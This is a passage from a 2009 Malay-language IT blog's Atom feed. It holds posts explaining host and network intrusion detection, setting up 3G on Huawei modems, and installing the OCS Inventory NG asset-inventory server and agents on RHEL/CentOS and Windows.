Detection System. &lt;a href="http://www.ossec.net/"&gt;Website&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Network IDS (NIDS)&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Sama fungsi untuk kenalpasti serangan malicious juga seperti HIDS tetapi NIDS adalah pada level network&lt;/li&gt;&lt;li&gt;Ianya bertindak sebagai sniffer di dalam network berkenaan dan sekiranya dijadikan  atau diinstall di gateway kepada external interface maka ia akan memantau keseluruhan rangkaian tersebut&lt;/li&gt;&lt;li&gt;IDS kebiasannya diletakkan pada switch diantara local network dan Firewall &amp;amp; di switch Server sistem aplikasi dalaman dan DMZ. Ini kerana ianya akan mengesan sebarang cubaan serangan dari luar internet ke rangkaian dalaman agensi. Selain itu, IDS juga dapat kesan sebarang aktiviti/cubaan untuk menyerang server sistem aplikasi dalaman dan DMZ.&lt;/li&gt;&lt;li&gt;NIDS ini mampu berfungsi secara 1 device kepada banyak client untuk pengesanan sebarang aktiviti hackers berbanding HIDS yang hanya menumpukan kepada host yang dibuat instalasi tersebut sahaja.&lt;/li&gt;&lt;li&gt;Contoh tools yang digunakan sebagai NIDS :&lt;/li&gt;&lt;/ul&gt;&lt;ol&gt;&lt;li&gt;Snort - Teknologi open source&lt;/li&gt;&lt;/ol&gt;Secara asasnya IDS turut terdedah kepadateori berikut :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;True Positive&lt;/b&gt;- serangan yang di trigger oleh IDS untuk menghasilkan alarm&lt;sup class="reference" id="cite_ref-Whitman_0-1"&gt;&lt;a href="http://en.wikipedia.org/wiki/Intrusion_detection_system#cite_note-Whitman-0"&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;False Positive&lt;/b&gt;- Alarm dihasilkan tetapi tiada serangan pun&lt;sup class="reference" id="cite_ref-Whitman_0-2"&gt;&lt;a href="http://en.wikipedia.org/wiki/Intrusion_detection_system#cite_note-Whitman-0"&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;False Negative&lt;/b&gt;- Kegagalan IDS untuk kesan sebarang serangan&lt;sup class="reference" id="cite_ref-Whitman_0-3"&gt;&lt;a href="http://en.wikipedia.org/wiki/Intrusion_detection_system#cite_note-Whitman-0"&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;True Negative&lt;/b&gt;- Tiada serangan, tiada alarm dihasilkan&lt;/li&gt;&lt;/ul&gt;&amp;nbsp;Namun sekarang, kita lebih diwar-warkan dengan teknologi lebih maju iaitu dipanggil Intrusion Prevention System (IPS) yang mana ianya lebih tepat dan dapat menghalang sebarang bentuk serangan yang dijangka dan tidak dijangka akan berlaku pada rangkaian kita.&lt;br /&gt;&lt;br /&gt;Pada pendapat aku, IDS sesuai untuk rangkaian dalaman. IPS elok letak di antara Firewall dan Router dan switch DMZ. Kerana kawasan tersebut lebih berisiko tinggi untuk diserang. Lagipun kos IDS lebih murah berbanding IPS.&lt;br /&gt;&lt;br /&gt;Selamat Mencuba!&lt;br /&gt;&lt;br /&gt;~ Be a Creator Not a User ~http://muzzotechspot.blogspot.com&lt;br /&gt;http://muzzoshah.blogspot.com&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-3223174418423553419?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/3223174418423553419/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=3223174418423553419&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/3223174418423553419'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/3223174418423553419'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2009/11/different-between-hids-and-nids.html' title='Different between HIDS and NIDS'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-1746802432780561359</id><published>2009-11-17T18:50:00.008+08:00</published><updated>2009-11-18T07:21:51.122+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='3GModem'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><title type='text'>How to setup 3G on Huawei E160e</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_Pk16G7RhVRE/SwKQ4OBJywI/AAAAAAAAAfM/5D60saeJ1f8/s1600/E160E.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 285px; height: 252px;" src="http://2.bp.blogspot.com/_Pk16G7RhVRE/SwKQ4OBJywI/AAAAAAAAAfM/5D60saeJ1f8/s400/E160E.jpg" alt="" id="BLOGGER_PHOTO_ID_5405041798308023042" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Lama sangat aku menyepi tak menulis. Antara faktor utama adalah kemalasan dan kesibukan tugas pada masa sekarang. So kali ni aku akan share cara nak setup 3G Celcom pada modem Huawei E160e. Aku baru sahaja beli modem baru dan daftar Celcom 3G pakej D68 dengan 384kbps maksimum download speed dan 5GB maximum download data dan selepas tu celcom akan reshape bandwidth jadi kecik. Gambar modem yang aku guna tu seperti di atas.&lt;br /&gt;&lt;br /&gt;Modem yang aku guna adalah model unlock SIM yang mana boleh masuk mana-mana SIM Card telcos di Malaysia selain Celcom. Harganya RM300++ tapi kalau beli kat mana lowyatt atau second hand rasanya lagi murah ni. Modem ni menggunakan software Mobile Partner.&lt;br /&gt;&lt;br /&gt;Langkah-langkah bagi setup 3G adalah seperti berikut :&lt;br /&gt;&lt;br /&gt;1. Pertama sekali rujuk bagaimana instalasi software Mobile Partner dan driver seperti manual yang terdapat dalam kotak yang anda beli. Tapi kebiasannya windows akan auto detect instalation software dan driver tersebut.&lt;br /&gt;&lt;br /&gt;2. Bila dah selesai bab install langkah 1 tadi, akan ada shortcut mobile connect di desktop. Double click dan buka Mobile Connect tersebut&lt;br /&gt;&lt;br /&gt;3. Jika ia minta PIN, masukkan 1234 (default SIM Card PIN). Jika tiada teruskan je ke langkah seterusnya&lt;br /&gt;&lt;br /&gt;4. Pergi ke &lt;span style="color: rgb(0, 0, 255);"&gt;&lt;span style="font-weight: bold;"&gt;Tools&lt;/span&gt;&lt;/span&gt;, dan pilih &lt;span style="color: rgb(0, 0, 255);"&gt;&lt;span style="font-weight: bold;"&gt;Options&lt;/span&gt;&lt;/span&gt; dan pilih &lt;span style="color: rgb(0, 0, 255);"&gt;&lt;span style="font-weight: bold;"&gt;Profile Management&lt;/span&gt;&lt;/span&gt;  seterusnya pilih &lt;span style="color: rgb(0, 0, 255);"&gt;&lt;span style="font-weight: bold;"&gt;New&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;5. Sila taip maklumat seperti gambar di bawah. (Khas untuk pelanggan celcom sahaja)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_Pk16G7RhVRE/SwMsIBjwpMI/AAAAAAAAAfU/SIiVigOj968/s1600/mp1.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 298px;" src="http://2.bp.blogspot.com/_Pk16G7RhVRE/SwMsIBjwpMI/AAAAAAAAAfU/SIiVigOj968/s400/mp1.jpg" alt="" id="BLOGGER_PHOTO_ID_5405212494143726786" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;6. Untuk bahagian Advanced tu tak perlu sentuh. Tapi jika nak tukar dns standard diberi celcom kepada OpenDNS yang lebih stabil, boleh tukar dns kepada berikut :&lt;br /&gt;Primary DNS : 208.67.222.222&lt;br /&gt;Secondary DNS : 208.67.220.220&lt;br /&gt;&lt;br /&gt;7) Seterusnya klik Save.&lt;br /&gt;&lt;br /&gt;8) Klik Connection pada menu Mobile Partner dan cuba connect. Alhamdulillah anda berjaya.&lt;br /&gt;&lt;br /&gt;-----------------------------------&lt;br /&gt;&lt;br /&gt;&lt;leave blank=""&gt;&lt;leave blank=""&gt;~ Be a Creator Not a User ~&lt;br /&gt;http://muzzotechspot.blogspot.com&lt;br /&gt;http://muzzoshah.blogspot.com&lt;/leave&gt;&lt;/leave&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-1746802432780561359?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/1746802432780561359/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=1746802432780561359&amp;isPopup=true' title='2 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/1746802432780561359'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/1746802432780561359'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2009/11/how-to-setup-3g-on-huawei-e160e.html' title='How to setup 3G on Huawei E160e'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_Pk16G7RhVRE/SwKQ4OBJywI/AAAAAAAAAfM/5D60saeJ1f8/s72-c/E160E.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-7514497182542926811</id><published>2009-10-13T22:31:00.004+08:00</published><updated>2009-10-13T22:42:05.152+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Knowledge Share'/><title type='text'>My Blog Hits 1000 Readers</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_Pk16G7RhVRE/StSRfw0aaPI/AAAAAAAAAe8/q3sCLXZZBrs/s1600-h/image-thumbs-up.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 347px; height: 346px;" src="http://4.bp.blogspot.com/_Pk16G7RhVRE/StSRfw0aaPI/AAAAAAAAAe8/q3sCLXZZBrs/s400/image-thumbs-up.jpg" alt="" id="BLOGGER_PHOTO_ID_5392094628736035058" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Wow! tak sangka lak aku blog aku ni dah cecah 1000 orang pembaca. Terima kasih kepada semua pembaca di internet dan yang setia membaca teruskan melanggan RSS. InsyaAllah aku akan cuba untuk post artikel lebih kerap lagi pada masa akan datang..&lt;br /&gt;&lt;br /&gt;Jika ada masalah ICT apa-apa boleh tinggalkan komen dalam artikel aku dan aku akan cuba respon semampu pengetahuan aku...&lt;br /&gt;&lt;br /&gt;~ Be a Creator Not a User ~&lt;br /&gt;http://muzzotechspot.blogspot.com&lt;br /&gt;http://muzzoshah.blogspot.com&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-7514497182542926811?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/7514497182542926811/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=7514497182542926811&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/7514497182542926811'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/7514497182542926811'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2009/10/my-blog-hits-1000-reader.html' title='My Blog Hits 1000 Readers'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_Pk16G7RhVRE/StSRfw0aaPI/AAAAAAAAAe8/q3sCLXZZBrs/s72-c/image-thumbs-up.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-5409872173738337609</id><published>2009-10-13T21:59:00.006+08:00</published><updated>2009-10-13T23:53:42.338+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='3GModem'/><category scheme='http://www.blogger.com/atom/ns#' term='Windows'/><category scheme='http://www.blogger.com/atom/ns#' term='Symantec'/><title type='text'>Upgrade HUAWEI 3G Modem E220 and solve problem detection on vista</title><content type='html'>Aku nak luahkan apa yang aku jumpe kat internet dari surfing aku dan 5 hari notebook vista aku tak detect 3G Modem HUAWEI ofis punye ni.&lt;br /&gt;&lt;br /&gt;Sebelum jadi gini ok je modem tu detect kat notebook MS Vista aku ni tapi selepas aku terbaca step untuk upgrade firmware modem tu. Step ni sesuai bagi yang guna modem HUAWEI E220 tapi versi firmware lama.&lt;br /&gt;&lt;br /&gt;Punca kepada aku teringin nak godek firmware modem tu sebab aku terasa slow teramat sangat akhir2 ni dengan 3g celcom di IM ni. So ada artikel kata perlu upgrade firmware dan software VMCLite tu. So cari punye cari jumpelah.&lt;br /&gt;&lt;br /&gt;So lepas aku check firmware modem aku ni kiranya macam dah up to date. Cara nak check buka VMC program tu dan klik Help &gt; Diagnostics. Dalam tu ada summary firmware version dan info lain tentang modem tu. Selain tu aku tengok software aku guna ni versi lama. Ada versi baru, jadi aku pun ikut step di bawah ni dan secara tak sengaja terupdate firmware yang dah latest. Tapi resultnya takde masalah pun sebab ia akan detect firmware dah up to date. Berikut stepnya :&lt;br /&gt;&lt;br /&gt;1) Cari PC/Notebook Windows 2000 / XP dan plug modem padanya. Sebelum tu uninstall dulu Software Vodafone yang ada dalam PC tu&lt;br /&gt;2) Plug semula modem tu pada pc tu tadi. EULA akan pop up keluar dan pilih cancel.&lt;br /&gt;3) Untuk update bagi tujuan masalah Vista tak detect modem tu. &lt;a href="http://www.mobileconnected.co.uk/wp-content/uploads/2007/04/E220%20Firmware.zip"&gt;Download file&lt;/a&gt; berikut dan run.&lt;br /&gt;4) Sikit lagi nak siap ni. Sekarang update software device modem tu ke versi terkini. Ada fungsi SMS di perbetulkan dalam versi baru ni. &lt;a href="http://www.mobileconnected.co.uk/wp-content/uploads/2007/04/E220%20software.zip"&gt;Download file&lt;/a&gt; berikut dan run. Jika ada error 'firmware not response' biarkan sebab ianya tiada masalah.&lt;br /&gt;&lt;br /&gt;Setelah selesai maka modem anda dah ada software terkini dan firmware terkini.&lt;br /&gt;Barulah boleh plug in pada vista. Pasti akan detect dan boleh digunakan.&lt;br /&gt;&lt;br /&gt;Bagi kes aku ni, aku cuma upgrade device software tu je. So caranye :&lt;br /&gt;&lt;br /&gt;1) uninstall Vodafone software dari pc vista&lt;br /&gt;2) aku run registry booster untuk cleanup registry software lama tu.&lt;br /&gt;3) restart pc vista aku&lt;br /&gt;4) aku plug in pada pc vista aku dan ia akan detect untuk install semula software dan driver berkenaan.&lt;br /&gt;5) Tapi PC aku ni problem dengan install HUAWEI Mass Storage USB Device, ia stuck kat situ.&lt;br /&gt;6) Buka Device Manager (Control Panel)&lt;br /&gt;7) Tengok pada USB Mass Storage Device ada tanda seruan kuning dan "Universal Serial Bus controllers". Klik kanan dan pilih "Update Driver Software"&lt;br /&gt;8) Pilih "Browse my computer"&lt;br /&gt;9) Pilih "Let me pick"&lt;br /&gt;10) uncheck "sHOW COMPATIBLE DEVICES"&lt;br /&gt;11) Pilih "(Generic USB Host Controller)" dan seterusnya pilih "USB Composite Device" pada model tab. Install sampai siap.&lt;br /&gt;12) Anda akan tengok selepas siap install tu drivers lain pun menyusul, Data Interfaces kantoi juga tapi lepas unplug modem dan plug in semula ia auto install.&lt;br /&gt;&lt;br /&gt;So selepas tu terusla aku leh guna modem tu semula.&lt;br /&gt;Fuhhh lega...aku ingatkan symantec aku ni blok software tu dari running tapi memang aku ada set polisi cuma test mode je dan aku semak log memang betul pun.&lt;br /&gt;&lt;br /&gt;So masalah vista ni memang menyakitkan kepala dan aku harap cepat2 la keluar windows 7 yan aku dengar banyak memuji dari mengeji macam vista ni.&lt;br /&gt;&lt;br /&gt;Sorry Bill Gates&lt;br /&gt;&lt;br /&gt;Selamat mencuba bagi yang ada masalah macam aku ni.&lt;br /&gt;&lt;br /&gt;~ Be a Creator Not a User ~&lt;br /&gt;http://muzzotechspot.blogspot.com&lt;br /&gt;http://muzzoshah.blogspot.com&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-5409872173738337609?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/5409872173738337609/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=5409872173738337609&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/5409872173738337609'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/5409872173738337609'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2009/10/upgrade-huawei-3g-modem-e220-and-solve.html' title='Upgrade HUAWEI 3G Modem E220 and solve problem detection on vista'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-6716305954007273665</id><published>2009-10-04T23:20:00.004+08:00</published><updated>2009-10-19T15:13:25.065+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CentOS'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='Asset Inventory'/><title type='text'>Asset Inventory Using Open Source PART III</title><content type='html'>Cepatnye pulak aku update yek..&lt;br /&gt;&lt;br /&gt;Ok aku akan terangkan bagaimana nak dapatkan inventori dari pc standalone dan masukkan dalam server OCS Inventory.&lt;br /&gt;&lt;br /&gt;1) Extract file OCS Inventory Agent ke c:/ocsng/&lt;br /&gt;2) Run command line&lt;br /&gt;3) taip cd c:/ocsng/&lt;br /&gt;4) Taip OcsAgent.exe /local&lt;br /&gt;5) Paparan berikut akan keluar dan pilih tempat untuk disimpan fail yang akan digenerate untuk inventory report pc tersebut.&lt;br /&gt;&lt;br /&gt;&lt;center&gt;&lt;a class="image" title="Image:Agent_requesting_path.jpg" href="http://wiki.ocsinventory-ng.org/index.php/Image:Agent_requesting_path.jpg"&gt;&lt;img border="0" alt="Image:Agent_requesting_path.jpg" src="http://wiki.ocsinventory-ng.org/images/a/a0/Agent_requesting_path.jpg" width="502" height="393" /&gt;&lt;/a&gt;&lt;/center&gt;&lt;p&gt;6) Sekiranya keluar dialog box minta info tag, sila masukkan tag berkenaan atau boleh kemaskini dari web OCS NG Inventory. Jika tidak, akan keluar mesej mengatakan telah berjaya export info PC ke file path yang kita tetapkan.&lt;/p&gt;&lt;p&gt;7) Setelah selesai export fail tersebut, import pula ke dalam server OCS NG Inventory melalui web. (user admin sahaja boleh akses)&lt;/p&gt;&lt;p&gt;8) Sekiranya ingin rerun inventory pc tersebut semula, sila taip berikut pada command prompt :&lt;/p&gt;&lt;p&gt;&gt;cd c:/ocsng&lt;/p&gt;&lt;p&gt;&gt;Ocsinventory.exe /local&lt;/p&gt;Sekarang anda dah berjaya menyimpan inventory pc standalone ke dalam server OCS NG Inventory.&lt;br /&gt;&lt;br /&gt;Bagi yang ingin mencuba, moga berjaya !!!&lt;br /&gt;&lt;br /&gt;~ Be a Creator Not a User ~&lt;br /&gt;http://muzzotechspot.blogspot.com&lt;br /&gt;http://muzzoshah.blogspot.com&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-6716305954007273665?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/6716305954007273665/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=6716305954007273665&amp;isPopup=true' title='2 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/6716305954007273665'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/6716305954007273665'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2009/10/asset-inventory-using-open-source-part_04.html' title='Asset Inventory Using Open Source PART III'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-2414001911356429565</id><published>2009-10-04T20:45:00.010+08:00</published><updated>2009-10-04T22:38:10.409+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CentOS'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='Asset Inventory'/><title type='text'>Asset Inventory Using Open Source PART II</title><content type='html'>Fuhh lamannya aku rasa tak menulis blog untuk blog ICT aku ni. Terasa mengabaikannya pulak.. So hari ni aku bersemangat nak update dan selesaikan part 2 dari artikel sebelum ni..&lt;br /&gt;&lt;br /&gt;Untuk makluman semua, aku dah berjaya buat instalasi software ni pada server yang menggunakan Red Hat Enterprise Linux 5 untuk tujuan dapatkan senarai inventori PC di dalam rangkaian PahangNet. Ianya akan digunakan sebagai bukti dan lampiran kepada Proses Audit aku nanti.&lt;br /&gt;&lt;br /&gt;Aku akan terangkan cara-cara untuk install OCS Inventory Server dan OCS Inventory Client Agent.&lt;br /&gt;&lt;br /&gt;System : RHEL 5, Centos 5.2&lt;br /&gt;OCS Inventory Server : &lt;a href="http://www.ocsinventory-ng.org/index.php?page=1-01"&gt;Muat turun disini&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;1) Instalasi OCS Inventory Server dependencies&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;&lt;/span&gt;&lt;br /&gt;#cd /usr/local/src/&lt;br /&gt;#wget http://apt.sw.be/redhat/el5/en/i386/RPMS.dag/rpmforge-release-0.3.6-1.el5.rf.i386.rpm&lt;br /&gt;#rpm --import http://dag.wieers.com/rpm/packages/RPM-GPG-KEY.dag.txt&lt;br /&gt;#rpm -Uvh rpmforge-release-0.3.6-1.el5.rf.i386.rpm&lt;br /&gt;&lt;br /&gt;2) Instalasi MySQL dan Apache pada server&lt;br /&gt;&lt;br /&gt;# yum install mysql-server mysql httpd&lt;br /&gt;# vim /etc/httpd/conf/httpd.conf&lt;br /&gt;# echo "ServerName your_server_name:80" &gt;&gt; /etc/httpd/conf/httpd.conf&lt;br /&gt;# service httpd start; chkconfig httpd on&lt;br /&gt;# service mysqld start; chkconfig mysql on&lt;br /&gt;&lt;br /&gt;Konfigurasi MySQL database root password :&lt;br /&gt;&lt;br /&gt;# mysql -u root mysql&lt;br /&gt;mysql&gt; UPDATE user SET password=PASSWORD('desired_password')&lt;br /&gt;-&gt;WHERE User='root';&lt;br /&gt;mysql&gt;;DELETE FROM user WHERE user = '';&lt;br /&gt;&gt;;FLUSH PRIVILEGES;&lt;br /&gt;mysql&gt;DROP DATABASE test;&lt;br /&gt;mysql&gt;exit&lt;br /&gt;&lt;br /&gt;* Create database OCS&lt;br /&gt;#mysql -u root -p&lt;br /&gt; mysql&gt;CREATE DATABASE ocsweb;&lt;br /&gt; mysql&gt;GRANT ALL PRIVILEGES ON ocsweb.* TO ocs@localhost IDENTIFIED BY 'ocs';&lt;br /&gt; mysql&gt;exit&lt;br /&gt;&lt;br /&gt;3) Instalasi Perl dan PHP&lt;br /&gt;&lt;br /&gt;#yum -y install perl-XML-Simple perl-Compress-Zlib perl-DBI perl-DBD-MySQL perl-Apache-DBI perl-Net-IP perl-SOAP-Lite&lt;br /&gt;#yum -y install php-pecl-zip php-mysql php-devel zlib-devel php-pear php-gd gcc&lt;br /&gt;#yum -y install php-snmp php-posix libgd2 gd-devel libpng libpng-devel perl-config-IniFiles perl-Crypt-DES perl-Digest-HMAC perl-Digest-SHA1 perl-GD perl-IO-Socket-INET6 perl-Net-SNMP perl-rrdtool perl-Socket6 mod_perl&lt;br /&gt;#yum -y install sudo make gcc&lt;br /&gt;&lt;br /&gt;4) Instalasi zip support&lt;br /&gt;&lt;br /&gt;#pecl install zip&lt;br /&gt;# vim /etc/php.ini&lt;br /&gt;#echo ";Add zip support" &gt;&gt; /etc/php.ini&lt;br /&gt;#echo "extension=zip.so" &gt;&gt; /etc/php.ini&lt;br /&gt;&lt;br /&gt;# service httpd restart&lt;br /&gt;&lt;br /&gt;5) Instalasi OCS  Script&lt;br /&gt;&lt;br /&gt;#cd /usr/local/src&lt;br /&gt;#wget http://nchc.dl.sourceforge.net/sourceforge/ocsinventor/OCSNG_LINUX_SERVER_1.01.tar.gz&lt;br /&gt;#tar zxvf OCSNG_LINUX_SERVER_1.01.tar.gz&lt;br /&gt;#cp -rf OCSNG_LINUX_SERVER_1.01 /var/www/html/OCSNG&lt;br /&gt;#cd /var/www/html/OCSNG/ocsreports&lt;br /&gt;#touch dbconfig.inc.php&lt;br /&gt;#chmod 666 dbconfig.inc.php&lt;br /&gt;#cd /var/www/html/OCSNG&lt;br /&gt;#./setup.sh&lt;br /&gt;&lt;br /&gt;OCS telah diinstall di /var/www/html dan direktori web server adalah /etc/httpd/conf.d/ocsinventory.conf dan logging directory /var/log/ocsinventory-NG/&lt;br /&gt;&lt;br /&gt;#service httpd restart&lt;br /&gt;&lt;br /&gt;6) Konfigurasi OCS Web&lt;br /&gt;&lt;br /&gt;Taip URL berikut :&lt;br /&gt;http://your_server_ip/OCSNG/ocsreports/install.php&lt;br /&gt;&lt;br /&gt;Anda akan dapat lihat login MySQL box dan penuhkan maklumat tersebut :&lt;br /&gt;&lt;span class="anchor" id="line-152"&gt;&lt;/span&gt;&lt;span class="anchor" id="line-153"&gt;&lt;/span&gt;MySQL login: root&lt;br /&gt;MySQL Password: whatever you change it too&lt;br /&gt;MySQL HostName: localhost&lt;br /&gt;&lt;br /&gt;6) Instalasi OCS Agent/Client pada server RHEL yang sama&lt;br /&gt;&lt;br /&gt;# yum install perl-XML-Simple perl-Compress-Zlib perl-Net-IP perl-Net-SSLeay&lt;br /&gt;&lt;br /&gt;Sekiranya tak jumpa, cari kat RPMforge archive&lt;br /&gt;&lt;br /&gt;Download OCS Agent&lt;br /&gt;&lt;br /&gt;# tar -xzvf OCSNG_LINUX_AGENT_1.01_with_require.tar.gz&lt;br /&gt;# cd OCSNG_LINUX_AGENT_1.01&lt;br /&gt;# sh setup.sh&lt;br /&gt;&lt;br /&gt;Taipkan ip address server OCS dan pilih port 80.&lt;br /&gt;&lt;br /&gt;7) Instalasi OCS Agent/Client pada Windows&lt;br /&gt;&lt;br /&gt;Dapatkan perisian di &lt;a href="http://sourceforge.net/project/downloading.php?groupname=ocsinventory&amp;amp;filename=OCSNG_WINDOWS_AGENT_1.02RC3.zip&amp;amp;use_mirror=nchc"&gt;sini&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Extract dan klik pada file OCSAgent Setup :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_L_-zp96wtdQ/Sdntj2kQnMI/AAAAAAAAAAc/K7W295vEhn8/s1600-h/1.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 238px;" 